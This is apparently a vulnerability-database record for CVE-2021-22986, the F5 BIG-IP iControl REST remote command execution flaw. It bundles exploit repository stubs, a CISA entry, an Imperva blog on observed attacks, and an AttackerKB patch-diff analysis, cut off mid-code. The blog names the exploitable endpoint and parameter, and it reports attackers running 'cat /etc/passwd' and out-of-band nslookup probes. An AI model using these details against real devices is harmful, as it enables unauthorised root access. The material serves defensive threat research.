"2021-03-29T13:01:08", "type": "githubexploit", "title": "Exploit for Vulnerability in F5 Big-Ip Access Policy Manager", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22986"], "modified": "2021-03-29T13:04:49", "id": "67F9A7F6-596E-5695-BCBF-B11FE476AD9E", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-07-13T23:08:47", "description": "# CVE-2021-22986_Check\nCVE-2021-22986 Checker Script in Python3\n...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-23T02:04:39", "type": "githubexploit", "title": "Exploit for Server-Side Request Forgery in F5 Big-Ip Access Policy Manager", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22986"], "modified": "2021-05-21T00:55:58", "id": "48FD5EC4-10B3-5CB3-96C6-4D70E2A52EEF", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-08-15T21:13:41", "description": "# \u4f7f\u7528\r\n\r\n```\r\npython3 f5_rce.py \r\n\r\n-u \u6307\u5b9a\u76ee\u6807URL\r\n-f \u6279\u91cf\u68c0\u6d4b\u6587\u4ef6\r\n-c \u6267\u884c\u547d...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-19T18:50:22", "type": "githubexploit", "title": "Exploit for Server-Side Request Forgery in F5 Big-Ip Access Policy Manager", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22986"], "modified": "2022-08-15T15:41:27", "id": "4E7397B3-57E1-5961-BE00-E340DD46B130", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-08-15T21:11:57", "description": "**F5 BIG-IP RCE / CVE-2021-22986\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e**\n\n**Code By:T...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-29T05:56:21", "type": "githubexploit", "title": "Exploit for Server-Side Request Forgery in F5 Big-Ip Access Policy Manager", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22986"], "modified": "2022-08-15T15:41:48", "id": "9E6B39D2-4F46-5C9D-81B9-32A2C96CBAD8", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-08-13T09:03:21", "description": "# \u4f7f\u7528\r\n\r\n```\r\npython3 f5_rce.py \r\n\r\n-u \u6307\u5b9a\u76ee\u6807URL\r\n-f \u6279\u91cf\u68c0\u6d4b\u6587\u4ef6\r\n-c \u6267\u884c\u547d...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-21T07:40:51", "type": "githubexploit", "title": "Exploit for Server-Side Request Forgery in F5 Big-Ip Access Policy Manager", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22986"], "modified": "2022-08-13T08:25:58", "id": "91A5A7DD-3544-5856-890C-F8D738DAC6F4", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-07-13T18:41:02", "description": "# CVE-2021-22986\nF5 BIG-IP/BIG-IQ iControl Rest...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-21T04:58:17", "type": "githubexploit", "title": "Exploit for Server-Side Request Forgery in F5 Big-Ip Access Policy Manager", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22986"], "modified": "2021-11-03T13:24:11", "id": "08530E98-10F4-5651-8118-F76E99D5856F", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-07-13T18:40:57", "description": "# F5 BIG-IP \u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff08CVE-2021-22986\uff09\n\n## \u6f0f\u6d1e\u5f71\u54cd\n\nF5 BIG-IP 16.x: 1...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-26T03:32:06", "type": "githubexploit", "title": "Exploit for Server-Side Request Forgery in F5 Big-Ip Access Policy Manager", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22986"], "modified": "2022-07-05T07:21:07", "id": "BF090D08-5787-5245-85E4-88DA87E8EC1D", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-07-21T12:47:54", "description": "## Vuln Impact\r\n\r\nThis vulnerability allows for unauthenticated ...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-22T07:13:50", "type": "githubexploit", "title": "Exploit for Server-Side Request Forgery in F5 Big-Ip Access Policy Manager", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22986"], "modified": "2022-07-21T02:11:00", "id": "B96958C0-96FF-52FF-A4B1-CE6F774F0C6F", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}], "cisa_kev": [{"lastseen": "2022-08-10T17:26:47", "description": "The iControl REST interface has an unauthenticated remote command execution vulnerability.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "F5 iControl REST unauthenticated Remote Code Execution Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22986"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2021-22986", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "impervablog": [{"lastseen": "2021-04-06T10:29:57", "description": "On March 10th F5 published a [security advisory](<https://support.f5.com/csp/article/K02566623>) containing twenty one CVEs, the most critical one (CVE-2021-22986) can be exploited for unauthenticated remote code execution attacks. In the past week, several security researchers have reverse engineered the Java software patch published by BIG-IP and posted tweets and blogs with detailed POCs.\n\nAs a result, we observed multiple exploitation attempts against our customers in the last 5 days, while 90% of all occurred in the last 48 hours (March 21-22, 2021). This is probably due to the publication of a POC written in python, available in a [GitHub](<https://github.com/h4x0r-dz/RCE-Exploit-in-BIG-IP/blob/main/f5_rce.py>) repository.\n\nLooking at the client type of the requests, the vast majority of the attacks were classified as coming from automated software.\n\nSo far, Imperva research lab registered dozens of attacking IPs although the majority of attacks came from a handful of IPs indicating, once again, the usage of an automated software.\n\nThe most targeted industries are Education, Business, Retail and Financial Services, as we can see in the chart below:\n\nThe exploits that were published use different endpoints in the product to allow an unauthenticated user to execute commands using **root privileges**.\n\nWe observed two attack vectors that attempt to execute code on the vulnerable server. The first one is an attack chain that contains an SSRF attack that attempts to gain an authenticated session token as the first level, followed by remote command execution as the second level. Most of the indications of this attack observed by Imperva were pointed to the \u201c/mgmt/shared/auth/login\u201d URL. Another interesting behavior observed is an attacker that attempted to include the \u2018ping\u2019 command as a value in the \u2018FilePath\u2019 parameter, to many different websites, all of them were redirected to the same IP address hosted in Amazon, with nginx server installed with port 80 opened.\n\nThe second attack vector observed was a remote command execution (RCE), that targeted the \u201cmgmt/tm/util/bash\u201d URL, which allows an unauthenticated user to execute commands using the \u2018utilCmdArgs' parameter. In most of the attack attempts of this RCE observed by Imperva, the attacker tried to run \u201ccat /etc/passwd\u201d.\n\nIn several attack attempts, we saw requests containing nslookup to http://<random_domain>.burpcollaborator.net. The Burp Collaborator is a network service that Burp Suite uses when testing web applications for security vulnerabilities.\n\nThese attacks were detected as a new zero-day attack by [Imperva WAF](<https://www.imperva.com/products/web-application-firewall-waf/>) generic security controls. Imperva\u2019s research team has also added new dedicated rules to mitigate these vulnerabilities to block these attacks so Imperva WAF customers are protected Out-Of-the-Box.\n\nThe post [Attacks Spike Following The Disclosure Of CVE-2021-22986: F5 Networks BIG-IP iControl Remote Command Execution Vulnerability](<https://www.imperva.com/blog/attacks-spike-following-the-disclosure-of-cve-2021-22986-f5-networks-big-ip-icontrol-remote-command-execution-vulnerability/>) appeared first on [Blog](<https://www.imperva.com/blog>).", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-22T19:45:18", "type": "impervablog", "title": "Attacks Spike Following The Disclosure Of CVE-2021-22986: F5 Networks BIG-IP iControl Remote Command Execution Vulnerability", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22986"], "modified": "2021-03-22T19:45:18", "id": "IMPERVABLOG:3D5A9B1B55D73BE6810D0DB036F8B83F", "href": "https://www.imperva.com/blog/attacks-spike-following-the-disclosure-of-cve-2021-22986-f5-networks-big-ip-icontrol-remote-command-execution-vulnerability/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "attackerkb": [{"lastseen": "2022-04-22T08:35:51", "description": "On BIG-IP versions 16.0.x before 16.0.1.1, 15.1.x before 15.1.2.1, 14.1.x before 14.1.4, 13.1.x before 13.1.3.6, and 12.1.x before 12.1.5.3 amd BIG-IQ 7.1.0.x before 7.1.0.3 and 7.0.0.x before 7.0.0.2, the iControl REST interface has an unauthenticated remote command execution vulnerability. Note: Software versions which have reached End of Software Development (EoSD) are not evaluated.\n\n \n**Recent assessments:** \n \n**wvu-r7** at March 14, 2021 10:18am UTC reported:\n\n# CVE-2021-22986\n\n_This writeup has been updated to thoroughly reflect my findings and that of the community\u2019s. Thank you!_\n\n[This vulnerability](<https://support.f5.com/csp/article/K03009991>) appears to involve some kind of auth bypass or even SSRF, judging by my patch analysis and testing. The full-context patch below has its line numbers adjusted for use in a debugger.\n \n \n diff --git a/com/f5/rest/app/RestServerServlet.java b/com/f5/rest/app/RestServerServlet.java\n index 9cd36e1..c0c67d6 100644\n --- a/com/f5/rest/app/RestServerServlet.java\n +++ b/com/f5/rest/app/RestServerServlet.java\n @@ -1,538 +1,539 @@\n package com.f5.rest.app;\n \n import com.f5.rest.common.ByteUnit;\n import com.f5.rest.common.HttpParserHelper;\n import com.f5.rest.common.RestHelper;\n import com.f5.rest.common.RestLogger;\n import com.f5.rest.common.RestOperation;\n import com.f5.rest.common.RestOperationIdentifier;\n import com.f5.rest.common.RestRequestCompletion;\n import com.f5.rest.common.RestServer;\n import com.f5.rest.common.RestWorkerUriNotFoundException;\n import java.io.ByteArrayOutputStream;\n import java.io.IOException;\n import java.net.URI;\n import java.net.URISyntaxException;\n import java.nio.charset.StandardCharsets;\n import java.util.Enumeration;\n import java.util.HashMap;\n import java.util.Map;\n import java.util.logging.Level;\n import java.util.logging.Logger;\n import javax.servlet.AsyncContext;\n import javax.servlet.ReadListener;\n import javax.servlet.ServletException;\n import javax.servlet.ServletInputStream;\n import javax.servlet.ServletOutputStream;\n import javax.servlet.WriteListener;\n import javax.servlet.http.HttpServlet;\n import javax.servlet.http.HttpServletRequest;\n import javax.servlet.http.HttpServletResponse;\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n public class RestServerServlet\n extends HttpServlet\n {\n private static final long serialVersionUID = -6003011105634738728L;\n private static final int BUFFER_SIZE = (int)ByteUnit.KILOBYTES.toBytes(8L);\n private Logger logger = RestLogger.getLogger(RestServerServlet.class.getName());\n \n \n \n private static void failRequest(AsyncContext context, RestOperation operation, Throwable t, int httpStatusCode) {\n if (operation.generateRestErrorResponse()) {\n operation.setErrorResponseBody(t);\n }\n \n operation.setStatusCode(httpStatusCode);\n sendRestOperation(context, operation);\n }\n \n private static void sendRestOperation(AsyncContext context, RestOperation operation) {\n try {\n writeResponseHeadersFromRestOperation(operation, (HttpServletResponse)context.getResponse());\n context.getResponse().getOutputStream().setWriteListener(new WriteListenerImpl(context, operation));\n } catch (IOException e) {\n context.complete();\n }\n }\n \n \n private class ReadListenerImpl\n implements ReadListener\n {\n private AsyncContext context;\n \n private ServletInputStream inputStream;\n private RestOperation operation;\n private byte[] buffer;\n private ByteArrayOutputStream outputStream;\n \n ReadListenerImpl(AsyncContext context, ServletInputStream inputStream, RestOperation operation) {\n this.context = context;\n this.inputStream = inputStream;\n this.operation = operation;\n this.buffer = null;\n this.outputStream = null;\n }\n \n \n public void onDataAvailable() throws IOException {\n if (this.operation == null) {\n throw new IOException(\"Missing operation\");\n }\n \n if (this.outputStream == null) {\n int contentLength = (int)this.operation.getContentLength();\n if (contentLength == -1) {\n this.outputStream = new ByteArrayOutputStream();\n } else {\n this.outputStream = new ByteArrayOutputStream(contentLength);\n }\n }\n \n \n \n \n \n if (this.buffer == null)\n this.buffer = new byte[RestServerServlet.BUFFER_SIZE];\n int len;\n while (this.inputStream.isReady() && (len = this.inputStream.read(this.buffer)) != -1) {\n this.outputStream.write(this.buffer, 0, len);\n }\n }\n \n \n public void onAllDataRead() throws IOException {\n if (this.outputStream != null) {\n \n if (this.operation.getContentType() == null) {\n this.operation.setIncomingContentType(\"application/json\");\n }\n \n if (RestHelper.contentTypeUsesBinaryBody(this.operation.getContentType())) {\n byte[] binaryBody = this.outputStream.toByteArray();\n this.operation.setBinaryBody(binaryBody, this.operation.getContentType());\n } else {\n String body = this.outputStream.toString(StandardCharsets.UTF_8.name());\n this.operation.setBody(body, this.operation.getContentType());\n }\n }\n \n RestOperationIdentifier.setIdentityFromAuthenticationData(this.operation, new Runnable()\n {\n public void run()\n {\n if (!RestServer.trySendInProcess(RestServerServlet.ReadListenerImpl.this.operation)) {\n RestServerServlet.failRequest(RestServerServlet.ReadListenerImpl.this.context, RestServerServlet.ReadListenerImpl.this.operation, (Throwable)new RestWorkerUriNotFoundException(RestServerServlet.ReadListenerImpl.this.operation.getUri().toString()), 404);\n }\n }\n });\n \n \n \n RestServer.trace(this.operation);\n }\n \n \n public void onError(Throwable throwable) {\n if (this.operation != null)\n this.operation.fail(throwable);\n }\n }\n \n private static class WriteListenerImpl\n implements WriteListener\n {\n AsyncContext context;\n RestOperation operation;\n byte[] responseBody;\n ServletOutputStream outputStream;\n \n public WriteListenerImpl(AsyncContext context, RestOperation operation) {\n this.context = context;\n this.responseBody = HttpParserHelper.encodeBody(operation);\n if (this.responseBody != null) {\n context.getResponse().setContentLength(this.responseBody.length);\n }\n \n try {\n this.outputStream = context.getResponse().getOutputStream();\n } catch (IOException e) {\n onError(e);\n }\n }\n \n \n \n public void onWritePossible() throws IOException {\n while (this.outputStream.isReady()) {\n if (this.responseBody != null) {\n this.outputStream.write(this.responseBody);\n this.responseBody = null; continue;\n }\n this.context.complete();\n return;\n }\n }\n \n \n \n public void onError(Throwable throwable) {\n this.operation.fail(throwable);\n }\n }\n \n \n \n \n protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {\n final AsyncContext context = req.startAsync();\n \n context.start(new Runnable()\n {\n public void run() {\n RestOperation op = null;\n try {\n op = RestServerServlet.this.createRestOperationFromServletRequest((HttpServletRequest)context.getRequest());\n if (op == null) {\n HttpServletResponse errResp = (HttpServletResponse)context.getResponse();\n \n errResp.sendError(400, \"Error processing request\");\n \n context.complete();\n return;\n }\n } catch (Exception e) {\n RestServerServlet.this.logger.warning(\"cannot create RestOperation \" + e.getMessage());\n context.complete();\n \n return;\n }\n op.setCompletion(new RestRequestCompletion()\n {\n public void completed(RestOperation operation) {\n RestServerServlet.sendRestOperation(context, operation);\n }\n \n \n public void failed(Exception ex, RestOperation operation) {\n RestServerServlet.failRequest(context, operation, ex, operation.getStatusCode());\n }\n });\n \n try {\n ServletInputStream inputStream = context.getRequest().getInputStream();\n inputStream.setReadListener(new RestServerServlet.ReadListenerImpl(context, inputStream, op));\n } catch (IOException e) {\n RestServerServlet.failRequest(context, op, e, 500);\n }\n }\n });\n }\n \n \n \n public static String getFullURL(HttpServletRequest request) {\n StringBuilder requestURL = new StringBuilder(request.getRequestURI());\n String queryString = request.getQueryString();\n \n if (queryString == null) {\n return requestURL.toString();\n }\n return requestURL.append('?').append(queryString).toString();\n }\n \n \n private static void writeResponseHeadersFromRestOperation(RestOperation operation, HttpServletResponse response) {\n boolean traceHeaders = (RestHelper.getOperationTracingLevel().intValue() <= Level.FINER.intValue());\n \n - if (operation.getOutgoingContentType() == null) {\n + if (operation.getOutgoingContentType() == null || operation.getStatusCode() >= 400)\n + {\n operation.defaultToContentTypeJson();\n }\n \n response.setContentType(operation.getOutgoingContentType());\n \n if (operation.getOutgoingContentEncoding() != null) {\n response.setCharacterEncoding(operation.getOutgoingContentEncoding());\n }\n \n if (operation.getAllow() != null) {\n AddResponseHeader(operation, response, \"Allow\", operation.getAllow(), traceHeaders);\n }\n if (operation.getContentRange() != null) {\n AddResponseHeader(operation, response, \"Content-Range\", operation.getContentRange(), traceHeaders);\n }\n \n if (operation.getContentDisposition() != null) {\n AddResponseHeader(operation, response, \"Content-Disposition\", operation.getContentDisposition(), traceHeaders);\n }\n \n if (operation.getWwwAuthenticate() != null) {\n AddResponseHeader(operation, response, \"WWW-Authenticate\", operation.getWwwAuthenticate(), traceHeaders);\n }\n \n if (operation.containsApiStatusInformation()) {\n AddResponseHeader(operation, response, \"X-F5-Api-Status\", HttpParserHelper.formatApiStatusHeader(operation), traceHeaders);\n }\n \n if (operation.getAdditionalHeaders(RestOperation.Direction.RESPONSE) != null) {\n Map<String, String> headers = operation.getAdditionalHeaders(RestOperation.Direction.RESPONSE).getHeaderMap();\n \n for (Map.Entry<String, String> header : headers.entrySet()) {\n AddResponseHeader(operation, response, header.getKey(), header.getValue(), traceHeaders);\n }\n }\n \n response.setStatus(operation.getStatusCode());\n AddResponseHeader(operation, response, \"Pragma\", \"no-cache\", traceHeaders);\n AddResponseHeader(operation, response, \"Cache-Control\", \"no-store\", traceHeaders);\n AddResponseHeader(operation, response, \"Cache-Control\", \"no-cache\", traceHeaders);\n AddResponseHeader(operation, response, \"Cache-Control\", \"must-revalidate\", traceHeaders);\n AddResponseHeader(operation, response, \"Expires\", \"-1\", traceHeaders);\n }\n \n \n private static void AddResponseHeader(RestOperation operation, HttpServletResponse response, String headerName, String headerValue, boolean traceHeaders) {\n response.addHeader(headerName, headerValue);\n }\n \n \n \n \n \n \n \n private static Map<String, HeaderHandler> HEADER_HANDLERS = new HashMap<>();\n static {\n HEADER_HANDLERS.put(\"Accept\".toUpperCase(), new HeaderHandler()\n {\n public void processHeaderValue(String headerValue, RestOperation op) {\n op.setAccept(headerValue);\n }\n });\n HEADER_HANDLERS.put(\"Authorization\".toUpperCase(), new HeaderHandler()\n {\n public void processHeaderValue(String headerValue, RestOperation op)\n {\n String[] authHeader = headerValue.split(\" \");\n if (authHeader[0].equalsIgnoreCase(\"BASIC\")) {\n op.setBasicAuthorizationHeader(authHeader[1]);\n }\n }\n });\n HEADER_HANDLERS.put(\"Allow\".toUpperCase(), new HeaderHandler()\n {\n public void processHeaderValue(String headerValue, RestOperation op) {\n op.setAllow(headerValue);\n }\n });\n HEADER_HANDLERS.put(\"Transfer-Encoding\".toUpperCase(), new HeaderHandler()\n {\n public void processHeaderValue(String headerValue, RestOperation op) {\n op.setTransferEncoding(headerValue);\n }\n });\n HEADER_HANDLERS.put(\"Referer\".toUpperCase(), new HeaderHandler()\n {\n public void processHeaderValue(String headerValue, RestOperation op) {\n op.setReferer(headerValue);\n }\n });\n HEADER_HANDLERS.put(\"X-F5-REST-Coordination-Id\".toUpperCase(), new HeaderHandler()\n {\n public void processHeaderValue(String headerValue, RestOperation op) {\n op.setCoordinationId(headerValue);\n }\n });\n HEADER_HANDLERS.put(\"X-Forwarded-For\".toUpperCase(), new HeaderHandler()\n {\n public void processHeaderValue(String headerValue, RestOperation op) {\n op.setXForwardedFor(headerValue);\n }\n });\n HEADER_HANDLERS.put(\"X-Auth-Token\".toUpperCase(), new HeaderHandler()\n {\n public void processHeaderValue(String headerValue, RestOperation op) {\n op.setXAuthToken(headerValue);\n }\n });\n HEADER_HANDLERS.put(\"X-F5-Auth-Token\".toUpperCase(), new HeaderHandler()\n {\n public void processHeaderValue(String headerValue, RestOperation op) {\n op.setXF5AuthToken(headerValue);\n }\n });\n HEADER_HANDLERS.put(\"Connection\".toUpperCase(), new HeaderHandler()\n {\n public void processHeaderValue(String headerValue, RestOperation op) {\n if (headerValue.equalsIgnoreCase(\"Keep-Alive\")) {\n op.setConnectionKeepAlive(true);\n op.setConnectionClose(false);\n } else if (headerValue.equalsIgnoreCase(\"Close\")) {\n op.setConnectionKeepAlive(false);\n op.setConnectionClose(true);\n } else {\n op.setConnectionKeepAlive(false);\n op.setConnectionClose(false);\n }\n }\n });\n HEADER_HANDLERS.put(\"Content-Length\".toUpperCase(), new HeaderHandler()\n {\n public void processHeaderValue(String headerValue, RestOperation op) {\n op.setContentLength(Integer.parseInt(headerValue));\n }\n });\n HEADER_HANDLERS.put(\"Content-Type\".toUpperCase(), new HeaderHandler()\n {\n public void processHeaderValue(String 